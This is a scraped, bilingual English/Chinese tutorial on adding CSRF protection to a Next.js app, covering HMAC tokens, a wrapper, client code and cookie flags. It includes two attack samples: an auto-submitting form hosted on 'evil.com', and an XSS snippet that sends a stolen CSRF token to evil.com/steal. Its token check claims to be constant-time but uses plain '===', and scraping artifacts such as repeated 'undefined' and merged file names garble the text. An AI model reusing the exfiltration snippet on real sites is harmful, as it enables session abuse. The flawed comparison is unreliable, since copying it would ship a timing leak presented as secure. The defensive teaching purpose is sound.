Loading...
Loading...
Compare original and translation side by side
lib/csrf.tslib/withCsrf.tsapp/api/csrf/route.tslib/csrf.tslib/withCsrf.tsapp/api/csrf/route.tsimport { NextRequest, NextResponse } from 'next/server';
import { withCsrf } from '@/lib/withCsrf';
async function handler(request: NextRequest) {
// Your business logic here
// Token automatically verified by withCsrf
return NextResponse.json({ success: true });
}
// Apply CSRF protection
export const POST = withCsrf(handler);
export const config = {
runtime: 'nodejs', // Required for crypto operations
};import { NextRequest, NextResponse } from 'next/server';
import { withCsrf } from '@/lib/withCsrf';
async function handler(request: NextRequest) {
// 你的业务逻辑
// 令牌会被withCsrf自动验证
return NextResponse.json({ success: true });
}
// 应用CSRF防护
export const POST = withCsrf(handler);
export const config = {
runtime: 'nodejs', // 加密操作需要
};// Fetch CSRF token
const response = await fetch('/api/csrf', {
credentials: 'include'
});
const { csrfToken } = await response.json();
// Use token in POST request
await fetch('/api/your-endpoint', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken // Include token in header
},
credentials: 'include', // Important: send cookies
body: JSON.stringify(data)
});// 获取CSRF令牌
const response = await fetch('/api/csrf', {
credentials: 'include'
});
const { csrfToken } = await response.json();
// 在POST请求中使用令牌
await fetch('/api/your-endpoint', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken // 在请求头中包含令牌
},
credentials: 'include', // 重要:发送Cookie
body: JSON.stringify(data)
});withCsrf()X-CSRF-TokenwithCsrf()X-CSRF-Token// app/api/contact/route.ts
import { NextRequest, NextResponse } from 'next/server';
import { withCsrf } from '@/lib/withCsrf';
import { withRateLimit } from '@/lib/withRateLimit';
import { validateRequest } from '@/lib/validateRequest';
import { contactFormSchema } from '@/lib/validation';
import { handleApiError } from '@/lib/errorHandler';
async function contactHandler(request: NextRequest) {
try {
const body = await request.json();
// Validate input
const validation = validateRequest(contactFormSchema, body);
if (!validation.success) {
return validation.response;
}
const { name, email, subject, message } = validation.data;
// Process contact form
await sendEmail({
to: 'admin@example.com',
from: email,
subject,
message
});
return NextResponse.json({ success: true });
} catch (error) {
return handleApiError(error, 'contact-form');
}
}
// Apply both rate limiting AND CSRF protection
export const POST = withRateLimit(withCsrf(contactHandler));
export const config = {
runtime: 'nodejs',
};// app/api/contact/route.ts
import { NextRequest, NextResponse } from 'next/server';
import { withCsrf } from '@/lib/withCsrf';
import { withRateLimit } from '@/lib/withRateLimit';
import { validateRequest } from '@/lib/validateRequest';
import { contactFormSchema } from '@/lib/validation';
import { handleApiError } from '@/lib/errorHandler';
async function contactHandler(request: NextRequest) {
try {
const body = await request.json();
// 验证输入
const validation = validateRequest(contactFormSchema, body);
if (!validation.success) {
return validation.response;
}
const { name, email, subject, message } = validation.data;
// 处理联系表单
await sendEmail({
to: 'admin@example.com',
from: email,
subject,
message
});
return NextResponse.json({ success: true });
} catch (error) {
return handleApiError(error, 'contact-form');
}
}
// 同时应用速率限制和CSRF防护
export const POST = withRateLimit(withCsrf(contactHandler));
export const config = {
runtime: 'nodejs',
};// components/ContactForm.tsx
'use client';
import { useState } from 'react';
export function ContactForm() {
const [formData, setFormData] = useState({
name: '',
email: '',
subject: '',
message: ''
});
async function handleSubmit(e: React.FormEvent) {
e.preventDefault();
try {
// 1. Fetch CSRF token
const csrfRes = await fetch('/api/csrf', {
credentials: 'include'
});
const { csrfToken } = await csrfRes.json();
// 2. Submit form with token
const response = await fetch('/api/contact', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken
},
credentials: 'include',
body: JSON.stringify(formData)
});
if (response.ok) {
alert('Message sent successfully!');
setFormData({ name: '', email: '', subject: '', message: '' });
} else if (response.status === 403) {
alert('Security validation failed. Please refresh and try again.');
} else if (response.status === 429) {
alert('Too many requests. Please wait a moment.');
} else {
alert('Failed to send message. Please try again.');
}
} catch (error) {
console.error('Error:', error);
alert('An error occurred. Please try again.');
}
}
return (
<form onSubmit={handleSubmit}>
<input
type="text"
placeholder="Name"
value={formData.name}
onChange={(e) => setFormData({ ...formData, name: e.target.value })}
required
/>
<input
type="email"
placeholder="Email"
value={formData.email}
onChange={(e) => setFormData({ ...formData, email: e.target.value })}
required
/>
<input
type="text"
placeholder="Subject"
value={formData.subject}
onChange={(e) => setFormData({ ...formData, subject: e.target.value })}
required
/>
<textarea
placeholder="Message"
value={formData.message}
onChange={(e) => setFormData({ ...formData, message: e.target.value })}
required
/>
<button type="submit">Send Message</button>
</form>
);
}// components/ContactForm.tsx
'use client';
import { useState } from 'react';
export function ContactForm() {
const [formData, setFormData] = useState({
name: '',
email: '',
subject: '',
message: ''
});
async function handleSubmit(e: React.FormEvent) {
e.preventDefault();
try {
// 1. 获取CSRF令牌
const csrfRes = await fetch('/api/csrf', {
credentials: 'include'
});
const { csrfToken } = await csrfRes.json();
// 2. 携带令牌提交表单
const response = await fetch('/api/contact', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken
},
credentials: 'include',
body: JSON.stringify(formData)
});
if (response.ok) {
alert('消息发送成功!');
setFormData({ name: '', email: '', subject: '', message: '' });
} else if (response.status === 403) {
alert('安全验证失败,请刷新后重试。');
} else if (response.status === 429) {
alert('请求过于频繁,请稍后再试。');
} else {
alert('消息发送失败,请重试。');
}
} catch (error) {
console.error('Error:', error);
alert('发生错误,请重试。');
}
}
return (
<form onSubmit={handleSubmit}>
<input
type="text"
placeholder="姓名"
value={formData.name}
onChange={(e) => setFormData({ ...formData, name: e.target.value })}
required
/>
<input
type="email"
placeholder="邮箱"
value={formData.email}
onChange={(e) => setFormData({ ...formData, email: e.target.value })}
required
/>
<input
type="text"
placeholder="主题"
value={formData.subject}
onChange={(e) => setFormData({ ...formData, subject: e.target.value })}
required
/>
<textarea
placeholder="消息"
value={formData.message}
onChange={(e) => setFormData({ ...formData, message: e.target.value })}
required
/>
<button type="submit">发送消息</button>
</form>
);
}<!-- Attacker's website: evil.com -->
<form action="https://yourapp.com/api/delete-account" method="POST">
<input type="hidden" name="confirm" value="yes" />
</form>
<script>
document.forms[0].submit(); // Auto-submit
</script><!-- 攻击者网站:evil.com -->
<form action="https://yourapp.com/api/delete-account" method="POST">
<input type="hidden" name="confirm" value="yes" />
</form>
<script>
document.forms[0].submit(); // 自动提交
</script>// Attacker injects script via XSS
fetch('/api/csrf')
.then(r => r.json())
.then(data => {
// Send token to attacker
fetch('https://evil.com/steal', {
method: 'POST',
body: JSON.stringify({ token: data.csrfToken })
});
});// 攻击者通过XSS注入脚本
fetch('/api/csrf')
.then(r => r.json())
.then(data => {
// 将令牌发送给攻击者
fetch('https://evil.com/steal', {
method: 'POST',
body: JSON.stringify({ token: data.csrfToken })
});
});import { createHmac, randomBytes } from 'crypto';
export function generateCsrfToken(sessionId: string): string {
const secret = process.env.CSRF_SECRET;
if (!secret) {
throw new Error('CSRF_SECRET not configured');
}
// Generate random token
const token = randomBytes(32).toString('base64url');
// Create HMAC signature
const hmac = createHmac('sha256', secret)
.update(`${token}:${sessionId}`)
.digest('base64url');
// Return token:hmac
return `${token}.${hmac}`;
}
export function verifyCsrfToken(
token: string,
sessionId: string
): boolean {
const secret = process.env.CSRF_SECRET;
if (!secret || !token) return false;
const [tokenPart, hmacPart] = token.split('.');
if (!tokenPart || !hmacPart) return false;
// Recreate HMAC
const expectedHmac = createHmac('sha256', secret)
.update(`${tokenPart}:${sessionId}`)
.digest('base64url');
// Constant-time comparison to prevent timing attacks
return hmacPart === expectedHmac;
}import { createHmac, randomBytes } from 'crypto';
export function generateCsrfToken(sessionId: string): string {
const secret = process.env.CSRF_SECRET;
if (!secret) {
throw new Error('CSRF_SECRET not configured');
}
// 生成随机令牌
const token = randomBytes(32).toString('base64url');
// 创建HMAC签名
const hmac = createHmac('sha256', secret)
.update(`${token}:${sessionId}`)
.digest('base64url');
// 返回 token:hmac
return `${token}.${hmac}`;
}
export function verifyCsrfToken(
token: string,
sessionId: string
): boolean {
const secret = process.env.CSRF_SECRET;
if (!secret || !token) return false;
const [tokenPart, hmacPart] = token.split('.');
if (!tokenPart || !hmacPart) return false;
// 重新生成HMAC
const expectedHmac = createHmac('sha256', secret)
.update(`${tokenPart}:${sessionId}`)
.digest('base64url');
// 常量时间比较以防范时序攻击
return hmacPart === expectedHmac;
}import { NextRequest, NextResponse } from 'next/server';
import { verifyCsrfToken } from './csrf';
export function withCsrf(
handler: (request: NextRequest) => Promise<NextResponse>
) {
return async (request: NextRequest) => {
// Get token from header
const token = request.headers.get('X-CSRF-Token');
// Get session ID from cookie (simplified)
const sessionId = request.cookies.get('sessionId')?.value;
if (!token || !sessionId) {
return NextResponse.json(
{ error: 'CSRF token missing' },
{ status: 403 }
);
}
// Verify token
if (!verifyCsrfToken(token, sessionId)) {
return NextResponse.json(
{ error: 'CSRF token invalid' },
{ status: 403 }
);
}
// Token valid - call handler
return handler(request);
};
}import { NextRequest, NextResponse } from 'next/server';
import { verifyCsrfToken } from './csrf';
export function withCsrf(
handler: (request: NextRequest) => Promise<NextResponse>
) {
return async (request: NextRequest) => {
// 从请求头获取令牌
const token = request.headers.get('X-CSRF-Token');
// 从Cookie中获取会话ID(简化版)
const sessionId = request.cookies.get('sessionId')?.value;
if (!token || !sessionId) {
return NextResponse.json(
{ error: 'CSRF token missing' },
{ status: 403 }
);
}
// 验证令牌
if (!verifyCsrfToken(token, sessionId)) {
return NextResponse.json(
{ error: 'CSRF token invalid' },
{ status: 403 }
);
}
// 令牌有效 - 调用处理函数
return handler(request);
};
}// BAD - No CSRF protection
export async function POST(request: NextRequest) {
// Vulnerable!
}// BAD - Token in URL (logged, bookmarked, shared)
fetch(`/api/endpoint?csrf=${token}`)// BAD - Storing token for reuse
const savedToken = getCsrfToken();
// Later...
useSavedToken(savedToken); // May be expired/invalid// BAD - Cookies won't be sent
fetch('/api/endpoint', {
headers: { 'X-CSRF-Token': token }
// Missing: credentials: 'include'
});// 错误示例 - 无CSRF防护
export async function POST(request: NextRequest) {
// 存在漏洞!
}// 错误示例 - 令牌在URL中(会被记录、收藏、分享)
fetch(`/api/endpoint?csrf=${token}`)// 错误示例 - 存储令牌以便重复使用
const savedToken = getCsrfToken();
// 后续操作...
useSavedToken(savedToken); // 可能已过期或失效// 错误示例 - 不会发送Cookie
fetch('/api/endpoint', {
headers: { 'X-CSRF-Token': token }
// 缺失:credentials: 'include'
});undefinedundefinedundefinedundefinedcurl -X POST http://localhost:3000/api/example-protected \
-H "Content-Type: application/json" \
-d '{"title": "test"}'curl -X POST http://localhost:3000/api/example-protected \
-H "Content-Type: application/json" \
-d '{"title": "test"}'undefinedundefinedcurl -X POST http://localhost:3000/api/example-protected \
-H "Content-Type: application/json" \
-H "X-CSRF-Token: fake-token-12345" \
-d '{"title": "test"}'curl -X POST http://localhost:3000/api/example-protected \
-H "Content-Type: application/json" \
-H "X-CSRF-Token: fake-token-12345" \
-d '{"title": "test"}'undefinedundefinedundefinedundefinedundefinedundefinedresponse.cookies.set('cookie-name', value, {
httpOnly: true, // Prevent XSS access
sameSite: 'strict', // CSRF protection
secure: process.env.NODE_ENV === 'production', // HTTPS only in prod
maxAge: 3600, // Expiration (1 hour)
path: '/', // Cookie scope
});httpOnly: truedocument.cookiesameSite: 'strict'secure: truemaxAgepath: '/'response.cookies.set('cookie-name', value, {
httpOnly: true, // 防范XSS访问
sameSite: 'strict', // CSRF防护
secure: process.env.NODE_ENV === 'production', // 生产环境仅HTTPS
maxAge: 3600, // 过期时间(1小时)
path: '/', // Cookie作用域
});httpOnly: truedocument.cookiesameSite: 'strict'secure: truemaxAgepath: '/'// BAD - Missing security flags
response.cookies.set('session', sessionId);
// BAD - No httpOnly (vulnerable to XSS)
response.cookies.set('session', sessionId, { httpOnly: false });
// BAD - sameSite: 'none' (allows CSRF)
response.cookies.set('session', sessionId, { sameSite: 'none' });
// BAD - No expiration (never expires)
response.cookies.set('session', sessionId, { httpOnly: true });// GOOD - All security flags
response.cookies.set('session', sessionId, {
httpOnly: true,
sameSite: 'strict',
secure: process.env.NODE_ENV === 'production',
maxAge: 3600, // 1 hour
path: '/'
});// 错误示例 - 缺失安全标记
response.cookies.set('session', sessionId);
// 错误示例 - 无httpOnly(易受XSS攻击)
response.cookies.set('session', sessionId, { httpOnly: false });
// 错误示例 - sameSite: 'none'(允许CSRF)
response.cookies.set('session', sessionId, { sameSite: 'none' });
// 错误示例 - 无过期时间(永久有效)
response.cookies.set('session', sessionId, { httpOnly: true });// 正确示例 - 包含所有安全标记
response.cookies.set('session', sessionId, {
httpOnly: true,
sameSite: 'strict',
secure: process.env.NODE_ENV === 'production',
maxAge: 3600, // 1小时
path: '/'
});undefinedundefinedundefinedundefinedundefinedundefined
⚠️ **IMPORTANT:**
- Never commit secrets to version control
- Use different secrets for dev/staging/production
- Rotate secrets periodically (quarterly recommended)
⚠️ **重要提示:**
- 绝不要将密钥提交到版本控制系统
- 开发/预发布/生产环境使用不同的密钥
- 定期轮换密钥(建议每季度一次)rate-limitinginput-validationsecurity-testingrate-limitinginput-validationsecurity-testing